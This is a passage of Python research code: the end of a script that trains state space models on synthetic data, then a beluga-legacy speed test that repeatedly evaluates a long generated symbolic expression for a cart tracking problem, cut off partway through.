parser.add_argument('--fold', default=1, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=True, help='whether to use mm training patients to generate validation/test set in semi synthetic data') parser.add_argument('--att_mask', type=strtobool, default=False, help='set to True for SSMAtt and FOMMAtt') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 15000 args.ttype = ttype args.alpha1_type = 'linear' args.add_stochastic = False dict_args = vars(args) args.C = 0.01; args.reg_all = True; args.reg_type = 'l2' # fold 0,1,2,4: .01, True, 'l1' (everything ) # fold 3: .01, False, 'l1' args.dim_stochastic = 48 # initialize FOMM w/ args and train trial = optuna.trial.FixedTrial({'bs': args.bs, 'lr': args.lr, 'C': args.C, 'reg_all': args.reg_all, 'reg_type': args.reg_type, 'dim_stochastic': args.dim_stochastic}) model = SSM(trial, **dict_args) checkpoint_callback = ModelCheckpoint(filepath='./checkpoints/ssm_syn_' + ttype + '500samp_{epoch:05d}-{val_loss:.2f}') trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=checkpoint_callback, gpus=[0]) trainer.fit(model) def test_ssm_nl_syn(ttype='nl'): seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=100, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='synthetic', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='semisup') parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=1, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=True, help='whether to use mm training patients to generate validation/test set in semi synthetic data') parser.add_argument('--att_mask', type=strtobool, default=False, help='set to True for SSMAtt and FOMMAtt') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 15000 args.ttype = ttype args.alpha1_type = 'linear' args.add_stochastic = False dict_args = vars(args) args.C = 0.01; args.reg_all = True; args.reg_type = 'l2' # fold 0,1,2,4: .01, True, 'l1' (everything ) # fold 3: .01, False, 'l1' args.dim_stochastic = 48 # initialize FOMM w/ args and train trial = optuna.trial.FixedTrial({'bs': args.bs, 'lr': args.lr, 'C': args.C, 'reg_all': args.reg_all, 'reg_type': args.reg_type, 'dim_stochastic': args.dim_stochastic}) model = SSM(trial, **dict_args) checkpoint_callback = ModelCheckpoint(filepath='./checkpoints/ssm_syn_' + ttype + '500samp_{epoch:05d}-{val_loss:.2f}') trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=checkpoint_callback, gpus=[0]) trainer.fit(model) # evaluate on validation set; this should match what we were getting with the old codebase (after 100 epochs) # if torch.cuda.is_available(): # device = torch.device('cuda:1') # else: # device = torch.device('cpu') # _, valid_loader = model.load_helper('valid', device=device) # (nelbo, nll, kl, _), _ = model.forward(*valid_loader.dataset.tensors, anneal = 1.) # assert (nelbo.item() - 166) < 3e-1 def test_ssm_syn_nolc(): seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=1000, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='synthetic', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='semisup') parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=1, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=False, help='whether to use mm training patients to generate validation/test set in semi synthetic data') parser.add_argument('--att_mask', type=strtobool, default=False, help='set to True for SSMAtt and FOMMAtt') #parser.add_argument('--clock_ablation', type=strtobool, default=True, help='set to True for SSMAtt and FOMMAtt') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 15000 args.ttype = 'attn_transition' args.alpha1_type = 'linear' args.add_stochastic = False args.clock_ablation = True dict_args = vars(args) args.C = 0.01; args.reg_all = False; args.reg_type = 'l2' # fold 0,1,2,4: .01, True, 'l1' (everything ) # fold 3: .01, False, 'l1' args.dim_stochastic = 48 # initialize FOMM w/ args and train trial = optuna.trial.FixedTrial({'bs': args.bs, 'lr': args.lr, 'C': args.C, 'reg_all': args.reg_all, 'reg_type': args.reg_type, 'dim_stochastic': args.dim_stochastic}) model = SSM(trial, **dict_args) checkpoint_callback = ModelCheckpoint(filepath='./checkpoints/ssm_syn_nolc{epoch:05d}-{val_loss:.2f}') trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=checkpoint_callback, gpus=[0]) trainer.fit(model) # evaluate on validation set; this should match what we were getting with the old codebase (after 100 epochs) # if torch.cuda.is_available(): # device = torch.device('cuda:1') # else: # device = torch.device('cpu') # _, valid_loader = model.load_helper('valid', device=device) # (nelbo, nll, kl, _), _ = model.forward(*valid_loader.dataset.tensors, anneal = 1.) # assert (nelbo.item() - 166) < 3e-1 if __name__ == '__main__': samples = [20000] for ss in samples: test_ssm_gated_syn(ttype='attn_transition', num_samples=ss) test_ssm_gated_syn(ttype='lin', num_samples=ss) test_ssm_gated_syn(ttype='nl', num_samples=ss) test_ssm_gated_syn(ttype='moe', num_samples=ss) # configs = ['attn_transition', 'lin', 'nl'] # for config in configs: # test_ssm_gated_syn(ttype=config) # configs = [(0, 0.01, True, 'l2'), (1, 0.1, True, 'l2'), (2, 0.01, False, 'l1'), (3, 0.1, True, 'l2'), (4, 0.01, False, 'l2')] # for config in configs: # fold, C, reg_all, reg_type = config # test_ssm_gated_mm(fold=fold, reg_all=reg_all, C=C, reg_type=reg_type) # if fold != 3: # test_ssm_gated_mm(fold,True) # else: # test_ssm_gated_mm(fold,False)
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ace09f44229c99d57942130892e4f0ccc4bd59aa
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py
Python
examples/Nolan/AFRL/Carts/SpeedTest4.py
Rapid-Design-of-Systems-Laboratory/beluga-legacy
d14713d8211b64293c4427005cf02fbd58630598
[ "MIT" ]
1
2019-03-26T03:00:03.000Z
2019-03-26T03:00:03.000Z
examples/Nolan/AFRL/Carts/SpeedTest4.py
Rapid-Design-of-Systems-Laboratory/beluga-legacy
d14713d8211b64293c4427005cf02fbd58630598
[ "MIT" ]
null
null
null
examples/Nolan/AFRL/Carts/SpeedTest4.py
Rapid-Design-of-Systems-Laboratory/beluga-legacy
d14713d8211b64293c4427005cf02fbd58630598
[ "MIT" ]
1
2019-07-14T22:53:52.000Z
2019-07-14T22:53:52.000Z
import numpy as np from beluga.utils.math import * from beluga.utils.tictoc import * tf = 1 Dt = 0.1 sigv = 0.1 sigw = 0.1 sigr = 0.1 w = 3.1415/2 xb = 5 yb = 5 u_max = 0.1 v = 30 x_n = 100 y_n = 1e-4 theta_n = 0.1 p11_n = 1e5 p12_n = 1e5 p13_n = 1e5 p22_n = 1e5 p23_n = 1e5 p33_n = 1e5 lamX_N = 50 lamY_N = -100 lamTHETA_N = 2 lamP11_N = 1 lamP12_N = 1 lamP13_N = 1 lamP22_N = 1 lamP23_N = 1 lamP33_N = 1 x_s = 1 y_s = 1 theta_s = 1 p11_s = 1e-3 p12_s = 1e-3 p13_s = 1e-3 p22_s = 1e-1 p23_s = 1e-2 p33_s = 1e-3 ep = 5 tic() for i in range(1000): fx = np.array([ (tf)*(-lamP11_N*(p11_n*p11_s*x_s*(x_n*x_s - xb)**2*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p11_n*p11_s*x_s*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p11_n*p11_s*(x_n*x_s - xb)*(-p11_n*p11_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p11_n*p11_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) - p12_n*p12_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p12_n*p12_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p12_n*p12_s*(y_n*y_s - yb)*(-p11_n*p11_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p11_n*p11_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) - p12_n*p12_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p11_s - lamP12_N*(p12_n*p12_s*x_s*(x_n*x_s - xb)**2*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p12_n*p12_s*x_s*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_n*p12_s*(x_n*x_s - xb)*(-p11_n*p11_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p11_n*p11_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) - p12_n*p12_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p22_n*p22_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p22_n*p22_s*(y_n*y_s - yb)*(-p11_n*p11_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p11_n*p11_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) - p12_n*p12_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p12_s - lamP13_N*(p13_n*p13_s*x_s*(x_n*x_s - xb)**2*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p13_n*p13_s*x_s*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p13_n*p13_s*(x_n*x_s - xb)*(-p11_n*p11_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p11_n*p11_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) - p12_n*p12_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p23_n*p23_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p23_n*p23_s*(y_n*y_s - yb)*(-p11_n*p11_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p11_n*p11_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) - p12_n*p12_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p13_s - lamP22_N*(p12_n*p12_s*x_s*(x_n*x_s - xb)**2*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p12_n*p12_s*x_s*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_n*p12_s*(x_n*x_s - xb)*(-p12_n*p12_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p12_n*p12_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) - p22_n*p22_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p22_n*p22_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p22_n*p22_s*(y_n*y_s - yb)*(-p12_n*p12_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p12_n*p12_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) - p22_n*p22_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p22_s - lamP23_N*(p13_n*p13_s*x_s*(x_n*x_s - xb)**2*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p13_n*p13_s*x_s*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p13_n*p13_s*(x_n*x_s - xb)*(-p12_n*p12_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p12_n*p12_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) - p22_n*p22_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p23_n*p23_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p23_n*p23_s*(y_n*y_s - yb)*(-p12_n*p12_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p12_n*p12_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) - p22_n*p22_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p23_s - lamP33_N*(p13_n*p13_s*x_s*(x_n*x_s - xb)**2*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p13_n*p13_s*x_s*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p13_n*p13_s*(x_n*x_s - xb)*(-p13_n*p13_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p13_n*p13_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p13_n*p13_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p23_n*p23_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p23_n*p23_s*(y_n*y_s - yb)*(-p13_n*p13_s*x_s*(x_n*x_s - xb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p13_n*p13_s*x_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p13_n*p13_s*x_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p33_s), (tf)*(-lamP11_N*(p11_n*p11_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p11_n*p11_s*(x_n*x_s - xb)*(-p11_n*p11_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p12_n*p12_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p12_n*p12_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p12_n*p12_s*y_s*(y_n*y_s - yb)**2*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p12_n*p12_s*y_s*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_n*p12_s*(y_n*y_s - yb)*(-p11_n*p11_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p12_n*p12_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p12_n*p12_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p11_s - lamP12_N*(p12_n*p12_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p12_n*p12_s*(x_n*x_s - xb)*(-p11_n*p11_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p12_n*p12_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p12_n*p12_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p22_n*p22_s*y_s*(y_n*y_s - yb)**2*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p22_n*p22_s*y_s*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(-p11_n*p11_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p12_n*p12_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p12_n*p12_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p12_s - lamP13_N*(p13_n*p13_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p13_n*p13_s*(x_n*x_s - xb)*(-p11_n*p11_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p12_n*p12_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p12_n*p12_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p23_n*p23_s*y_s*(y_n*y_s - yb)**2*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p23_n*p23_s*y_s*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(-p11_n*p11_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p12_n*p12_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p12_n*p12_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p13_s - lamP22_N*(p12_n*p12_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p12_n*p12_s*(x_n*x_s - xb)*(-p12_n*p12_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p22_n*p22_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s 